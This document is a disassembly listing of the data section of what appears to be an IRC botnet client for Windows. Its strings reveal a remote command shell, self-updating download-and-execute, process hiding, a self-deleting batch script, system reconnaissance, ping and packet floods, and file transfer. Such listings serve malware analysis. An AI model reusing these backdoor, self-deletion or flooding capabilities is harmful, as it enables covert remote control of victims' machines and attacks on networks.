aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_40981F+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_40981F+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_40981F+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_40981F+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_40981F+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_40981F+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_40981F:loc_409954o
					; sub_42105F+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981F:loc_409927o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981F+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981F+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_40981F+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_40981F+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981F+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981F+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_40981F+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40981F+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40981F+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981F+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_40981F+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_40981F+Ao
		align 4
unk_42D764	db    2			; DATA XREF: sub_40A4AC+2F2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDllTestComplet	db '  DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+28o
		align 10h
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA35+72o
		align 4
aMirc		db 'mIRC',0             ; DATA XREF: sub_40AAFA+5o
					; sub_415C5C+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_40AB7C+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC20+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC42+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_40AC42+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_40AC42+48o
		align 4
unk_42D9A8	db    2			; DATA XREF: sub_40AE02:loc_40AEC1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
unk_42D9E8	db    2			; DATA XREF: sub_40AE02:loc_40AE8Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 4
unk_42DA28	db    2			; DATA XREF: sub_40AE02:loc_40AE5Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 4
unk_42DA5C	db    2			; DATA XREF: sub_40AE02+49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_42DA9C	db    2			; DATA XREF: sub_40AF86+13Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_42DAD8	db    2			; DATA XREF: sub_40AF86+6Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 10h
dword_42DB10	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B112+1C6o
		dd 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
dword_42DB4C	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B112+8Eo
		dd 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B390+33o
dword_42DB94	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417:loc_40B549o
		dd 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 4
dword_42DBD4	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417+10Fo
		dd 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
dword_42DC0C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417:loc_40B4FDo
		dd 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 4
dword_42DC4C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B56C+194o
		dd 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 10h
dword_42DC90	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B56C+14Co
		dd 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40B56C+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40B721+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40B8D8+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40B8D8+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D8:loc_40BA3Co
		align 10h
word_42DDD0	dw 3Fh			; DATA XREF: sub_40B8D8:loc_40B9DAr
					; sub_40D099+1Fo
		align 4
dword_42DDD4	dd 28207325h, 297325h	; DATA XREF: sub_40B8D8+EBo
dword_42DDDC	dd 3F3F3Fh		; DATA XREF: sub_40B8D8:loc_40B99Bo
					; ___:loc_415C0Do
a2003		db '2003',0             ; DATA XREF: sub_40B8D8+BAo
					; ___:0042F8DCo
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40B8D8+AAo
					; ___:00415BF8o
		align 4
a2k		db '2K',0               ; DATA XREF: sub_40B8D8+98o
					; ___:00415BE8o
		align 10h
aMe		db 'ME',0               ; DATA XREF: sub_40B8D8+7Eo
					; ___:00415BCFo
		align 4
a98		db '98',0               ; DATA XREF: sub_40B8D8+6Co
					; ___:00415BBFo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40B8D8+5Ao
					; ___:00415BAFo
		align 4
a95		db '95',0               ; DATA XREF: sub_40B8D8+46o
					; ___:00415BA1o
		align 10h
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40BB8C+A4o
		align 10h
off_42DE40	dd offset loc_412F4E	; DATA XREF: sub_40BB8C:loc_40BBF8o
off_42DE44	dd offset a4S		; DATA XREF: sub_40BB8C:loc_40BBEEo
					; "=4("
dword_42DE48	dd 6C616944h, 70752Dh	; DATA XREF: sub_40BB8C+5Bo
dword_42DE50	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_40BB8C+48o
unk_42DE60	db    2			; DATA XREF: sub_40BC4B:loc_40BE04o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 10h
unk_42DEA0	db    2			; DATA XREF: sub_40BC4B:loc_40BDFDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 4
dword_42DEDC	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40BC4B+1A0o
		dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch,	2E4C5255h
		dd 0
unk_42DF08	db    2			; DATA XREF: sub_40BC4B:loc_40BDDEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 4
dword_42DF54	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40BC4B+18Co
		dd 0BB022029h, 202002BBh, 204C5255h, 69736976h,	2E646574h
		dd 0
dword_42DF80	dd 2A2F2Ah		; DATA XREF: sub_40BC4B+3Bo
dword_42DF84	dd 202E6425h, 3D207325h, 732520h ; DATA	XREF: sub_40BEF5+35o
dword_42DF90	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40BEF5+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6D+60o
		align 4
dword_42DFC4	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch
					; DATA XREF: sub_40C00D+1Ao
		dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h,	0
dword_42DFEC	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C07F+DCo
		dd 2BBBB02h, 694C2020h,	63207473h, 6C706D6Fh, 2E657465h
		dd 0
dword_42E018	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C07F+3Fo
		dd 2BBBB02h, 65422020h,	6E6967h
dword_42E038	dd 80000002h, 42F6D0h, 80000002h, 42F700h, 80000001h, 42F738h
					; DATA XREF: sub_40C1AE+7o
dword_42E050	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C1AE+63o
					; sub_40C351+170o
		dd 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 4
dword_42E094	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C351+ABo
		dd 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_42E0D4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C351+47o
					; sub_40C512+FDo
		dd 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
dword_42E108	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+362o
					; sub_40C8B4+156o
		dd 2BBBB02h, 6F532020h,	74656B63h, 72726520h, 2E726Fh
dword_42E130	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+2FAo
		dd 2BBBB02h
aTransferComp_0	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42E180	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+202o
		dd 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_42E1B4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+1CBo
		dd 2BBBB02h, 65532020h,	7420646Eh, 6F656D69h, 2E7475h
dword_42E1DC	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C512+16Ao
		dd 169h
dword_42E1F4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+127o
		dd 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42E224	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+82o
		dd 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_42E258	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+44o
		dd 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 4
dword_42E28C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+1D1o
		dd 2BBBB02h
aTransferComp_1	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 10h
dword_42E2E0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+CBo
		dd 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
dword_42E310	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+ABo
		dd 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: sub_40C8B4+97o
dword_42E350	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+83o
		dd 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 10h
unk_42E390	db    2			; DATA XREF: sub_40CAF1+493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
unk_42E3CC	db    2			; DATA XREF: sub_40CAF1+485o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_42E414	db    2			; DATA XREF: sub_40CAF1+3C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_42E464	dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h
					; DATA XREF: sub_40CAF1+358o
		dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h,	25203A64h
		dd 2E73h
aOpen		db 'open',0             ; DATA XREF: sub_40CAF1+336o
					; sub_40EE72+2B48o ...
		align 4
unk_42E498	db    2			; DATA XREF: sub_40CAF1+2E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 10h
unk_42E4E0	db    2			; DATA XREF: sub_40CAF1+262o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 4
unk_42E518	db    2			; DATA XREF: sub_40CAF1+1D8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 4
unk_42E55C	db    2			; DATA XREF: sub_40CAF1+195o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_42E59C	db    2			; DATA XREF: sub_40CAF1+183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 4
unk_42E5E4	db    2			; DATA XREF: sub_40CAF1+77o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40D099:loc_40D0DCo
					; sub_40DF4E+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40D099:loc_40D0D6o
aDisk		db 'Disk',0             ; DATA XREF: sub_40D099:loc_40D0D0o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40D099:loc_40D0CAo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40D099:loc_40D0C4o
		align 4
off_42E644	dd offset word_4D4152	; DATA XREF: sub_40D099:loc_40D0BEo
aFailed		db 'failed',0           ; DATA XREF: sub_40D12A:loc_40D208o
					; sub_40D24E+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_40D12A+6Co
		align 4
unk_42E658	db    2			; DATA XREF: sub_40D24E+8Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
unk_42E6A4	db    2			; DATA XREF: sub_40D24E+58o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
aA_0		db 'A:\',0              ; DATA XREF: sub_40D320:loc_40D365o
dword_42E6F4	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4C5+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42E740	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_40D4C5+E3o
; ---------------------------------------------------------------------------


loc_42E75C:				; DATA XREF: sub_40D4C5+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_42E770	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_40D4C5+13Fo
dword_42E784	dd 25207325h, 253A2073h, 0A0D73h ; DATA	XREF: sub_40D679+5Do
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40D679+16o
					; sub_40EE72+623o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40D679+Fo
					; sub_40EE72+62Fo
		align 10h
off_42E7A0	dd offset aAdd		; DATA XREF: sub_40D719+60r
					; sub_40DAF0+51r ...
					; "Add"
off_42E7A4	dd offset aAdded	; DATA XREF: sub_40D719+2Dr
					; sub_40DAF0+83r ...
					; "Added"
dword_42E7A8	dd 0			; DATA XREF: sub_40D719+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 42E814h, 42E80Ch,	2, 42E800h, 42E7F4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0042E7D4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:0042E7D0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:0042E7C8o
aStart_0	db 'Start',0            ; DATA XREF: ___:0042E7C4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:0042E7BCo
		align 4
aList_0		db 'List',0             ; DATA XREF: ___:0042E7B8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:0042E7B0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:0042E7ACo
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_42E7A4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_42E7A0o
dword_42E868	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+67o
		dd 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_42E89C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+51o
		dd 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_42E8D4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+33o
		dd 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownErr_0	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D835+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_40D835:loc_40D94Do
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_40D835:loc_40D946o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_40D835:loc_40D93Fo
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_40D835:loc_40D938o
		align 10h
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_40D835:loc_40D931o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_40D835:loc_40D92Ao
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_40D835:loc_40D923o
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_40D835:loc_40D91Co
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_40D835:loc_40D915o
		db 'marked for deletion.',0
		align 10h
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_40D835:loc_40D90Eo
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
